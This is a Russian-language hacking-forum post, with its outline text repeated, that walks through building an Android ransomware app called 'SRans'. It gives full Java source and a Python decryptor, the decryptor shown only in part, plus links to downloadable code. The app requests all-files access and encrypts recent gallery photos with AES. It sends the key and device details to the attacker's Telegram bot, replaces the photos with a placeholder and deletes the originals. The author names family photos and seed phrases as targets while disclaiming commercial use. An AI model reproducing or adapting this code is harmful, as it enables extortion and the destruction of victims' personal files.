Android Ransomware - SRans
:smile10:Всем привет! Недавно узнал, что Ransomware хоть и запрещен на форуме, но только в коммерческих целях. А на других форумах, таких как Exploit, это не разрешено даже в образовательных целях. Поэтому эта статья эксклюзивно для .is ! ! !
Хочу подчеркнуть, что этот продукт я не продаю, никакой коммерции с его участием не веду и сам такую деятельность с применением Ransomware осуждаю и не продвигаю.
Теперь, когда с необходимым предисловием покончено, можно начать саму статью.
Статья будет немаленькой, но интересной.
Что есть ценного на вашем телефоне?
Для начала нам нужно определить цели: что мы будем зашифровывать, какие ценные материалы есть на телефоне? В основном, это фото и видео, которые дороги людям.
У людей в галерее могут быть фотографии их семьи, seed-фразы , документы, видео со свадьбы — что угодно, и это для людей ценно.
Теперь, когда мы определились с целью, мы должны расписать принцип работы:
Этапы реализации:
Первое, что нам нужно, это определить разрешения на доступ к данным в файле AndroidManifest.xml:
XML: Скопировать в буфер обмена
Полный код AndroidManifest.xml:
XML: Скопировать в буфер обмена
Теперь перейдем в файл build.gradle где нам нужно импортировать okhttp:
вставляем в dependencies наш implementation -
Теперь можно перейти к основному коду MainActivity.java:
Java: Скопировать в буфер обмена
Описал все в межстрочных комментариях.
Перейдем к проверке разрешений:
Java: Скопировать в буфер обмена
Запрос разрешений:
Java: Скопировать в буфер обмена
Переходим в настройки:
Java: Скопировать в буфер обмена
Перейдем к части кода которая шифрует нужное кол-во изображений сохраняет на устройстве шифрованные данные и заменяет оригиналы на заглушки:
Java: Скопировать в буфер обмена
Получение последних изображений:
Java: Скопировать в буфер обмена
Преобразуем данные в массив байтов для дальнейшей работы:
Java: Скопировать в буфер обмена
Шифруем байты:
Java: Скопировать в буфер обмена
Генерируем AES ключик:
Java: Скопировать в буфер обмена
Сохраняем шифрованные данные байтов в хранилище:
Java: Скопировать в буфер обмена
Отправка ключа AES для дешифровки в Telegram:
Java: Скопировать в буфер обмена
Вид лога в Telegram:
Замена оригинальных фото на заглушку из drawable:
Java: Скопировать в буфер обмена
Удаление оригинальных изображений:
Java: Скопировать в буфер обмена
Пример того как это выглядит в галерее после шифрования:
Замените файл image.png по пути
Полный код MainActivity.java:
Java: Скопировать в буфер обмена
Теперь перейдем к коду на Python для дешифровки:
Java: Скопировать в буфер обмена
aes_key.txt - ваш AES ключ из лога в Telegram.
EncodedImages - исходные шифр данные.
DecryptedImages - тут будут на выходе дешифрованные данные.
Спойлер: ошибочка красивая
Был небольшой баг где после шифрования и дешифрования файлы бились и выходила такая красота -
Спасибо за внимание!
Надеюсь, вам было интересно. В завершение хочу еще раз подчеркнуть, что это не коммерческий проект.
Я не получаю с него никакой выгоды и осуждаю подобную деятельность.
Если у вас возникли вопросы или дополнения, или требуется помощь, буду рад ответить и помочь.
:smile10: Source Code отправил через exploit.send если ссылка умрет то отпишите -
https://send.exploit.in/download/673fcc25e69e938d/#u81ualjTVHjwIj9nhuAgyg - Python Decrypt - Source Code
https://send.exploit.in/download/90df07a97129c4e2/#rhR89Iw0jZ3yV6xf0C9cbw - Java A Client - Source Code
NMZ
:smile10:Всем привет! Недавно узнал, что Ransomware хоть и запрещен на форуме, но только в коммерческих целях. А на других форумах, таких как Exploit, это не разрешено даже в образовательных целях. Поэтому эта статья эксклюзивно для .is ! ! !
Хочу подчеркнуть, что этот продукт я не продаю, никакой коммерции с его участием не веду и сам такую деятельность с применением Ransomware осуждаю и не продвигаю.
Теперь, когда с необходимым предисловием покончено, можно начать саму статью.
Статья будет немаленькой, но интересной.
Что есть ценного на вашем телефоне?
Для начала нам нужно определить цели: что мы будем зашифровывать, какие ценные материалы есть на телефоне? В основном, это фото и видео, которые дороги людям.
У людей в галерее могут быть фотографии их семьи, seed-фразы , документы, видео со свадьбы — что угодно, и это для людей ценно.
Теперь, когда мы определились с целью, мы должны расписать принцип работы:
- Получение фотографий для шифрования:
- Приложение получает доступ к последним изображениям из галереи устройства. Для этого оно проверяет разрешения на доступ к хранилищу и, при необходимости, запрашивает их у пользователя.
- Шифрование и сохранение шифрованных байтов с использованием Base64:
- Для каждого изображения приложение генерирует AES-ключ (256 бит) и шифрует часть содержимого изображения (определяемую процентом шифрования). Шифрованные данные заменяются в исходном изображении, и затем весь массив байтов изображения кодируется в строку Base64 и сохраняется в отдельный файл на устройстве.
- Замена изображений на заглушку и уведомление в Telegram:
- После шифрования приложение заменяет оригинальные изображения на изображения-заглушки (например, картинку с объяснением или насмешкой). Зашифрованный AES-ключ отправляется в Telegram, чтобы его можно было использовать для расшифровки.
- После успешной замены отображается уведомление, что изображения были обработаны.
Этапы реализации:
- Проверка разрешений:
- Программа проверяет, имеет ли она доступ к чтению и записи на внешнем хранилище и разрешение на интернет. Для Android 11 и выше требуется специальное разрешение MANAGE_EXTERNAL_STORAGE.
- Получение последних N изображений:
- С помощью ContentResolver программа запрашивает последние изображения на устройстве, сортируя их по дате добавления. Полученные изображения добавляются в список для дальнейшей обработки.
- Шифрование изображений:
- Для каждого изображения программа конвертирует его в массив байтов. Затем часть байтов шифруется с использованием AES-алгоритма. Зашифрованные данные заменяют исходные байты, и результат кодируется в Base64 и сохраняется в отдельный файл.
- Отправка AES-ключа в Telegram:
- Сгенерированный AES-ключ отправляется через бота Telegram в указанный чат, чтобы его можно было использовать для расшифровки изображений при необходимости.
- Замена изображений на заглушки:
- Программа заменяет последние N изображений на изображение-заглушку из ресурсов приложения, создавая иллюзию потери данных.
- Удаление оригиналов:
- Программа удаляет исходные версии изображений, оставляя только зашифрованные версии и заглушки.
Первое, что нам нужно, это определить разрешения на доступ к данным в файле AndroidManifest.xml:
XML: Скопировать в буфер обмена
Code:
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"
tools:ignore="ScopedStorage" />
Полный код AndroidManifest.xml:
XML: Скопировать в буфер обмена
Code:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"
tools:ignore="ScopedStorage" />
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.SRansNMZ">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
Теперь перейдем в файл build.gradle где нам нужно импортировать okhttp:
вставляем в dependencies наш implementation -
implementation("com.squareup.okhttp3:okhttp:4.12.0")
Теперь можно перейти к основному коду MainActivity.java:
Java: Скопировать в буфер обмена
Code:
public class MainActivity extends AppCompatActivity {
private static final int PERMISSION_REQUEST_CODE = 100;
private static final int MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE = 101;
private static final String TELEGRAM_BOT_TOKEN = "token"; //ваш токен бота
private static final String TELEGRAM_CHAT_ID = "user id"; //ваш id в тг
private static final String AES_ALGORITHM = "AES/ECB/NoPadding";
private static final int AES_KEY_SIZE = 256; //размер ключика
private static final int IMAGE_COUNT = 20; //колво фото
private static final double ENCRYPTION_PERCENTAGE = 10.0; // процент шифрования
private static final int BLOCK_SIZE = 16; // размер блока
private static final int HEADER_SIZE = 8;
Описал все в межстрочных комментариях.
Перейдем к проверке разрешений:
Java: Скопировать в буфер обмена
Code:
if (checkPermissions()) {
replaceLastNImagesWithEncodedText(IMAGE_COUNT);
} else {
requestPermissions();
}
}
private boolean checkPermissions() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
return Environment.isExternalStorageManager();
} else {
int readStoragePermission = ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE);
int writeStoragePermission = ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE);
int internetPermission = ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET);
return readStoragePermission == PackageManager.PERMISSION_GRANTED &&
writeStoragePermission == PackageManager.PERMISSION_GRANTED &&
internetPermission == PackageManager.PERMISSION_GRANTED;
}
}
Запрос разрешений:
Java: Скопировать в буфер обмена
Code:
private void requestPermissions() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
Toast.makeText(this, "Необходим доступ ко всем файлам", Toast.LENGTH_LONG).show();
Intent intent = new Intent(Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION,
Uri.parse("package:" + getPackageName()));
startActivityForResult(intent, MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE);
} else {
ActivityCompat.requestPermissions(this, new String[]{
Manifest.permission.READ_EXTERNAL_STORAGE,
Manifest.permission.WRITE_EXTERNAL_STORAGE,
Manifest.permission.INTERNET
}, PERMISSION_REQUEST_CODE);
}
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == PERMISSION_REQUEST_CODE) {
if (grantResults.length > 2 &&
grantResults[0] == PackageManager.PERMISSION_GRANTED &&
grantResults[1] == PackageManager.PERMISSION_GRANTED &&
grantResults[2] == PackageManager.PERMISSION_GRANTED) {
replaceLastNImagesWithEncodedText(IMAGE_COUNT);
} else {
Toast.makeText(this, "Требуются разрешения для работы с хранилищем", Toast.LENGTH_LONG).show();
openAppSettings();
}
}
}
Переходим в настройки:
Java: Скопировать в буфер обмена
Code:
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (requestCode == MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
if (Environment.isExternalStorageManager()) {
replaceLastNImagesWithEncodedText(IMAGE_COUNT);
} else {
Toast.makeText(this, "Требуется доступ ко всем файлам.", Toast.LENGTH_LONG).show();
openAppSettings();
}
}
}
}
private void openAppSettings() {
Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
Uri uri = Uri.fromParts("package", getPackageName(), null);
intent.setData(uri);
startActivity(intent);
}
Перейдем к части кода которая шифрует нужное кол-во изображений сохраняет на устройстве шифрованные данные и заменяет оригиналы на заглушки:
Java: Скопировать в буфер обмена
Code:
private void replaceLastNImagesWithEncodedText(int count) {
List<Uri> lastNImageUris = getLastNImageUris(count);
if (lastNImageUris.size() == count) {
ExecutorService executor = Executors.newFixedThreadPool(Math.min(count, Runtime.getRuntime().availableProcessors()));
CountDownLatch latch = new CountDownLatch(count);
List<Exception> exceptions = new ArrayList<>();
try {
//генерация AES
Key aesKey = generateAESKey();
for (Uri uri : lastNImageUris) {
executor.submit(() -> {
try {
byte[] imageBytes = getImageAsByteArray(uri);
if (imageBytes != null) {
int encryptionSize = (int)(((imageBytes.length - HEADER_SIZE) * ENCRYPTION_PERCENTAGE) / 100.0 / BLOCK_SIZE) * BLOCK_SIZE;
if (encryptionSize < BLOCK_SIZE) {
encryptionSize = BLOCK_SIZE;
}
if (encryptionSize > (imageBytes.length - HEADER_SIZE)) {
encryptionSize = ((imageBytes.length - HEADER_SIZE) / BLOCK_SIZE) * BLOCK_SIZE;
if (encryptionSize < BLOCK_SIZE) {
encryptionSize = BLOCK_SIZE;
}
}
byte[] bytesToEncrypt = new byte[encryptionSize];
System.arraycopy(imageBytes, HEADER_SIZE, bytesToEncrypt, 0, encryptionSize);
//шифрованиебайтов
byte[] encryptedBytes = encryptBytes(bytesToEncrypt, aesKey);
if (encryptedBytes != null) {
System.arraycopy(encryptedBytes, 0, imageBytes, HEADER_SIZE, encryptionSize);
//кодирование массива байтов в Base64
String base64Image = Base64.encodeToString(imageBytes, Base64.DEFAULT);
//сохран
saveEncryptedImageToFile(base64Image);
}
}
} catch (Exception e) {
synchronized (exceptions) {
exceptions.add(e);
}
} finally {
latch.countDown();
}
});
}
latch.await();
executor.shutdown();
if (!exceptions.isEmpty()) {
for (Exception e : exceptions) {
e.printStackTrace();
}
Toast.makeText(this, "ошибка обработки изо", Toast.LENGTH_LONG).show();
return;
}
//отправка AES ключа в Telegram
sendKeyToTelegram(aesKey);
//замена изображений на заглушку
for (int i = 0; i < count; i++) {
replaceImageWithDrawable();
}
//удаление оригинальных изображений
deleteLastNImages(lastNImageUris);
Toast.makeText(this, "успешно", Toast.LENGTH_LONG).show();
} catch (Exception e) {
e.printStackTrace();
Toast.makeText(this, "ошибка: " + e.getMessage(), Toast.LENGTH_LONG).show();
}
} else {
Toast.makeText(this, "не удалось найти " + count + "изображений", Toast.LENGTH_LONG).show();
}
}
Получение последних изображений:
Java: Скопировать в буфер обмена
Code:
private List<Uri> getLastNImageUris(int count) {
List<Uri> imageUris = new ArrayList<>();
String[] projection = { MediaStore.Images.Media._ID, MediaStore.Images.Media.DATE_ADDED };
String sortOrder = MediaStore.Images.Media.DATE_ADDED + " DESC";
try (Cursor cursor = getContentResolver().query(
MediaStore.Images.Media.EXTERNAL_CONTENT_URI, projection, null, null, sortOrder)) {
if (cursor != null) {
int imageIdColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID);
int currentCount = 0;
while (cursor.moveToNext() && currentCount < count) {
long id = cursor.getLong(imageIdColumn);
Uri imageUri = Uri.withAppendedPath(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, Long.toString(id));
imageUris.add(imageUri);
currentCount++;
}
}
} catch (Exception e) {
e.printStackTrace();
}
return imageUris;
}
Преобразуем данные в массив байтов для дальнейшей работы:
Java: Скопировать в буфер обмена
Code:
private byte[] getImageAsByteArray(Uri imageUri) {
try {
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(imageUri));
if (bitmap == null) {
throw new IOException("ошибочка");
}
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
bitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream);
return byteArrayOutputStream.toByteArray();
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
Шифруем байты:
Java: Скопировать в буфер обмена
Code:
private byte[] encryptBytes(byte[] data, Key key) {
try {
Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
cipher.init(Cipher.ENCRYPT_MODE, key);
return cipher.doFinal(data); // NoPadding
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
Генерируем AES ключик:
Java: Скопировать в буфер обмена
Code:
private Key generateAESKey() throws Exception {
KeyGenerator keyGen = KeyGenerator.getInstance("AES");
keyGen.init(AES_KEY_SIZE, new SecureRandom());
SecretKey secretKey = keyGen.generateKey();
return secretKey;
}
Сохраняем шифрованные данные байтов в хранилище:
Java: Скопировать в буфер обмена
Code:
private void saveEncryptedImageToFile(String base64Image) {
String fileName = generateRandomString(20) + "rans.enc";
File directory = new File(Environment.getExternalStorageDirectory(), "EncodedImages");
if (!directory.exists()) {
if (!directory.mkdirs()) {
Toast.makeText(this, "ошибочка saveEncryptedImageToFile", Toast.LENGTH_LONG).show();
return;
}
}
File file = new File(directory, fileName);
try (FileOutputStream outputStream = new FileOutputStream(file)) {
outputStream.write(base64Image.getBytes());
} catch (Exception e) {
e.printStackTrace();
}
}
Отправка ключа AES для дешифровки в Telegram:
Java: Скопировать в буфер обмена
Code:
private void sendKeyToTelegram(Key aesKey) {
String aesKeyString = Base64.encodeToString(aesKey.getEncoded(), Base64.DEFAULT);
String androidVersion = Build.VERSION.RELEASE;
String deviceModel = Build.MODEL;
String message =
"SRans - NMZ - "+ "\n" +
"AES Key: " + aesKeyString + "\n" +
"Android Version: " + androidVersion + "\n" +
"Device Model: " + deviceModel;
OkHttpClient client = new OkHttpClient();
String json = "{\"chat_id\":\"" + TELEGRAM_CHAT_ID + "\",\"text\":\"" + message + "\"}";
RequestBody body = RequestBody.create(
MediaType.parse("application/json"),
json
);
Request request = new Request.Builder()
.url("https://api.telegram.org/bot" + TELEGRAM_BOT_TOKEN + "/sendMessage")
.post(body)
.build();
new Thread(() -> {
try (Response response = client.newCall(request).execute()) {
if (!response.isSuccessful()) {
throw new IOException("Unexpected code " + response);
}
System.out.println("succes");
} catch (IOException e) {
e.printStackTrace();
runOnUiThread(() -> Toast.makeText(MainActivity.this, "eror send: " + e.getMessage(), Toast.LENGTH_LONG).show());
}
}).start();
}
Вид лога в Telegram:
Замена оригинальных фото на заглушку из drawable:
Java: Скопировать в буфер обмена
Code:
private void replaceImageWithDrawable() {
try {
Bitmap bitmap = BitmapFactory.decodeResource(getResources(), R.drawable.image); //нейм
String savedImageURL = MediaStore.Images.Media.insertImage(getContentResolver(), bitmap, "Drawable Image", "Image replaced from drawable");
if (savedImageURL == null) {
Toast.makeText(this, "Ошибка при замене изо", Toast.LENGTH_SHORT).show();
}
} catch (Exception e) {
e.printStackTrace();
Toast.makeText(this, "Не удалось заменить изо: " + e.getMessage(), Toast.LENGTH_SHORT).show();
}
}
Удаление оригинальных изображений:
Java: Скопировать в буфер обмена
Code:
private void deleteLastNImages(List<Uri> imageUris) {
for (Uri uri : imageUris) {
try {
getContentResolver().delete(uri, null, null);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
Пример того как это выглядит в галерее после шифрования:
Замените файл image.png по пути
SRansNMZ\app\src\main\res\drawable
для того чтобы изменить заглушку.Полный код MainActivity.java:
Java: Скопировать в буфер обмена
Code:
package .exploit.nmz.SRans;
//импорты
import androidx.appcompat.app.AppCompatActivity;
import androidx.annotation.NonNull;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Environment;
import android.provider.MediaStore;
import android.provider.Settings;
import android.util.Base64;
import android.widget.Toast;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.security.Key;
import java.security.SecureRandom;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.Callable;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
public class MainActivity extends AppCompatActivity {
private static final int PERMISSION_REQUEST_CODE = 100;
private static final int MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE = 101;
private static final String TELEGRAM_BOT_TOKEN = "token";
private static final String TELEGRAM_CHAT_ID = "user id";
private static final String AES_ALGORITHM = "AES/ECB/NoPadding";
private static final int AES_KEY_SIZE = 256;
private static final int IMAGE_COUNT = 20; //колво фото
private static final double ENCRYPTION_PERCENTAGE = 10.0; // процент шифрования
private static final int BLOCK_SIZE = 16; // размер блока
private static final int HEADER_SIZE = 8;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
if (checkPermissions()) {
replaceLastNImagesWithEncodedText(IMAGE_COUNT);
} else {
requestPermissions();
}
}
private boolean checkPermissions() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
return Environment.isExternalStorageManager();
} else {
int readStoragePermission = ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE);
int writeStoragePermission = ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE);
int internetPermission = ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET);
return readStoragePermission == PackageManager.PERMISSION_GRANTED &&
writeStoragePermission == PackageManager.PERMISSION_GRANTED &&
internetPermission == PackageManager.PERMISSION_GRANTED;
}
}
private void requestPermissions() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
Toast.makeText(this, "Необходим доступ ко всем файлам", Toast.LENGTH_LONG).show();
Intent intent = new Intent(Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION,
Uri.parse("package:" + getPackageName()));
startActivityForResult(intent, MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE);
} else {
ActivityCompat.requestPermissions(this, new String[]{
Manifest.permission.READ_EXTERNAL_STORAGE,
Manifest.permission.WRITE_EXTERNAL_STORAGE,
Manifest.permission.INTERNET
}, PERMISSION_REQUEST_CODE);
}
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == PERMISSION_REQUEST_CODE) {
if (grantResults.length > 2 &&
grantResults[0] == PackageManager.PERMISSION_GRANTED &&
grantResults[1] == PackageManager.PERMISSION_GRANTED &&
grantResults[2] == PackageManager.PERMISSION_GRANTED) {
replaceLastNImagesWithEncodedText(IMAGE_COUNT);
} else {
Toast.makeText(this, "Требуются разрешения для работы с хранилищем", Toast.LENGTH_LONG).show();
openAppSettings();
}
}
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (requestCode == MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
if (Environment.isExternalStorageManager()) {
replaceLastNImagesWithEncodedText(IMAGE_COUNT);
} else {
Toast.makeText(this, "Требуется доступ ко всем файлам.", Toast.LENGTH_LONG).show();
openAppSettings();
}
}
}
}
private void openAppSettings() {
Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
Uri uri = Uri.fromParts("package", getPackageName(), null);
intent.setData(uri);
startActivity(intent);
}
private void replaceLastNImagesWithEncodedText(int count) {
List<Uri> lastNImageUris = getLastNImageUris(count);
if (lastNImageUris.size() == count) {
ExecutorService executor = Executors.newFixedThreadPool(Math.min(count, Runtime.getRuntime().availableProcessors()));
CountDownLatch latch = new CountDownLatch(count);
List<Exception> exceptions = new ArrayList<>();
try {
//генерация AES
Key aesKey = generateAESKey();
for (Uri uri : lastNImageUris) {
executor.submit(() -> {
try {
byte[] imageBytes = getImageAsByteArray(uri);
if (imageBytes != null) {
int encryptionSize = (int)(((imageBytes.length - HEADER_SIZE) * ENCRYPTION_PERCENTAGE) / 100.0 / BLOCK_SIZE) * BLOCK_SIZE;
if (encryptionSize < BLOCK_SIZE) {
encryptionSize = BLOCK_SIZE;
}
if (encryptionSize > (imageBytes.length - HEADER_SIZE)) {
encryptionSize = ((imageBytes.length - HEADER_SIZE) / BLOCK_SIZE) * BLOCK_SIZE;
if (encryptionSize < BLOCK_SIZE) {
encryptionSize = BLOCK_SIZE;
}
}
byte[] bytesToEncrypt = new byte[encryptionSize];
System.arraycopy(imageBytes, HEADER_SIZE, bytesToEncrypt, 0, encryptionSize);
//шифрованиебайтов
byte[] encryptedBytes = encryptBytes(bytesToEncrypt, aesKey);
if (encryptedBytes != null) {
System.arraycopy(encryptedBytes, 0, imageBytes, HEADER_SIZE, encryptionSize);
//кодирование массива байтов в Base64
String base64Image = Base64.encodeToString(imageBytes, Base64.DEFAULT);
//сохран
saveEncryptedImageToFile(base64Image);
}
}
} catch (Exception e) {
synchronized (exceptions) {
exceptions.add(e);
}
} finally {
latch.countDown();
}
});
}
latch.await();
executor.shutdown();
if (!exceptions.isEmpty()) {
for (Exception e : exceptions) {
e.printStackTrace();
}
Toast.makeText(this, "ошибка обработки изо", Toast.LENGTH_LONG).show();
return;
}
//отправка AES ключа в Telegram
sendKeyToTelegram(aesKey);
//замена изображений на заглушку
for (int i = 0; i < count; i++) {
replaceImageWithDrawable();
}
//удаление оригинальных изображений
deleteLastNImages(lastNImageUris);
Toast.makeText(this, "успешно", Toast.LENGTH_LONG).show();
} catch (Exception e) {
e.printStackTrace();
Toast.makeText(this, "ошибка: " + e.getMessage(), Toast.LENGTH_LONG).show();
}
} else {
Toast.makeText(this, "не удалось найти " + count + "изображений", Toast.LENGTH_LONG).show();
}
}
private List<Uri> getLastNImageUris(int count) {
List<Uri> imageUris = new ArrayList<>();
String[] projection = { MediaStore.Images.Media._ID, MediaStore.Images.Media.DATE_ADDED };
String sortOrder = MediaStore.Images.Media.DATE_ADDED + " DESC";
try (Cursor cursor = getContentResolver().query(
MediaStore.Images.Media.EXTERNAL_CONTENT_URI, projection, null, null, sortOrder)) {
if (cursor != null) {
int imageIdColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID);
int currentCount = 0;
while (cursor.moveToNext() && currentCount < count) {
long id = cursor.getLong(imageIdColumn);
Uri imageUri = Uri.withAppendedPath(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, Long.toString(id));
imageUris.add(imageUri);
currentCount++;
}
}
} catch (Exception e) {
e.printStackTrace();
}
return imageUris;
}
private byte[] getImageAsByteArray(Uri imageUri) {
try {
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(imageUri));
if (bitmap == null) {
throw new IOException("ошибочка");
}
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
bitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream);
return byteArrayOutputStream.toByteArray();
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
private byte[] encryptBytes(byte[] data, Key key) {
try {
Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
cipher.init(Cipher.ENCRYPT_MODE, key);
return cipher.doFinal(data); // NoPadding
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
private Key generateAESKey() throws Exception {
KeyGenerator keyGen = KeyGenerator.getInstance("AES");
keyGen.init(AES_KEY_SIZE, new SecureRandom());
SecretKey secretKey = keyGen.generateKey();
return secretKey;
}
private void saveEncryptedImageToFile(String base64Image) {
String fileName = generateRandomString(20) + "rans.enc";
File directory = new File(Environment.getExternalStorageDirectory(), "EncodedImages");
if (!directory.exists()) {
if (!directory.mkdirs()) {
Toast.makeText(this, "ошибочка saveEncryptedImageToFile", Toast.LENGTH_LONG).show();
return;
}
}
File file = new File(directory, fileName);
try (FileOutputStream outputStream = new FileOutputStream(file)) {
outputStream.write(base64Image.getBytes());
} catch (Exception e) {
e.printStackTrace();
}
}
private String generateRandomString(int length) {
String chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
SecureRandom random = new SecureRandom();
StringBuilder sb = new StringBuilder(length);
for(int i =0; i < length; i++) {
sb.append(chars.charAt(random.nextInt(chars.length())));
}
return sb.toString();
}
private void sendKeyToTelegram(Key aesKey) {
String aesKeyString = Base64.encodeToString(aesKey.getEncoded(), Base64.DEFAULT);
String androidVersion = Build.VERSION.RELEASE;
String deviceModel = Build.MODEL;
String message =
"SRans - NMZ - "+ "\n" +
"AES Key: " + aesKeyString + "\n" +
"Android Version: " + androidVersion + "\n" +
"Device Model: " + deviceModel;
OkHttpClient client = new OkHttpClient();
String json = "{\"chat_id\":\"" + TELEGRAM_CHAT_ID + "\",\"text\":\"" + message + "\"}";
RequestBody body = RequestBody.create(
MediaType.parse("application/json"),
json
);
Request request = new Request.Builder()
.url("https://api.telegram.org/bot" + TELEGRAM_BOT_TOKEN + "/sendMessage")
.post(body)
.build();
new Thread(() -> {
try (Response response = client.newCall(request).execute()) {
if (!response.isSuccessful()) {
throw new IOException("Unexpected code " + response);
}
System.out.println("succes");
} catch (IOException e) {
e.printStackTrace();
runOnUiThread(() -> Toast.makeText(MainActivity.this, "eror send: " + e.getMessage(), Toast.LENGTH_LONG).show());
}
}).start();
}
private void replaceImageWithDrawable() {
try {
Bitmap bitmap = BitmapFactory.decodeResource(getResources(), R.drawable.image); //нейм
String savedImageURL = MediaStore.Images.Media.insertImage(getContentResolver(), bitmap, "Drawable Image", "Image replaced from drawable");
if (savedImageURL == null) {
Toast.makeText(this, "Ошибка при замене изо", Toast.LENGTH_SHORT).show();
}
} catch (Exception e) {
e.printStackTrace();
Toast.makeText(this, "Не удалось заменить изо: " + e.getMessage(), Toast.LENGTH_SHORT).show();
}
}
private void deleteLastNImages(List<Uri> imageUris) {
for (Uri uri : imageUris) {
try {
getContentResolver().delete(uri, null, null);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
Теперь перейдем к коду на Python для дешифровки:
Java: Скопировать в буфер обмена
Code:
import os
import base64
from Crypto.Cipher import AES
def load_aes_key(key_file_path):
try:
with open(key_file_path, 'r') as f:
key_b64 = f.read().strip()
key = base64.b64decode(key_b64)
if len(key) not in (16, 24, 32):
raise ValueError("Invalid AES key length.")
print("AES ключ успешно загружен.")
return key
except Exception as e:
print(f"Ошибка загрузки AES ключа: {e}")
return None
def decrypt_bytes(encrypted_data, key):
try:
cipher = AES.new(key, AES.MODE_ECB)
decrypted_data = cipher.decrypt(encrypted_data)
return decrypted_data
except Exception as e:
print(f"Ошибка дешифровки: {e}")
return None
def process_encrypted_files(encoded_images_dir, decrypted_images_dir, key):
if not os.path.exists(encoded_images_dir):
print(f"Директория {encoded_images_dir} не существует.")
return
if not os.path.exists(decrypted_images_dir):
os.makedirs(decrypted_images_dir)
print(f"Создана директория {decrypted_images_dir} для сохранения дешифрованных изображений.")
files_found = False
for filename in os.listdir(encoded_images_dir):
if filename.endswith("rans.enc"):
files_found = True
file_path = os.path.join(encoded_images_dir, filename)
try:
print(f"Обработка файла: {filename}")
with open(file_path, 'r') as f:
base64_data = f.read().strip()
image_data = base64.b64decode(base64_data)
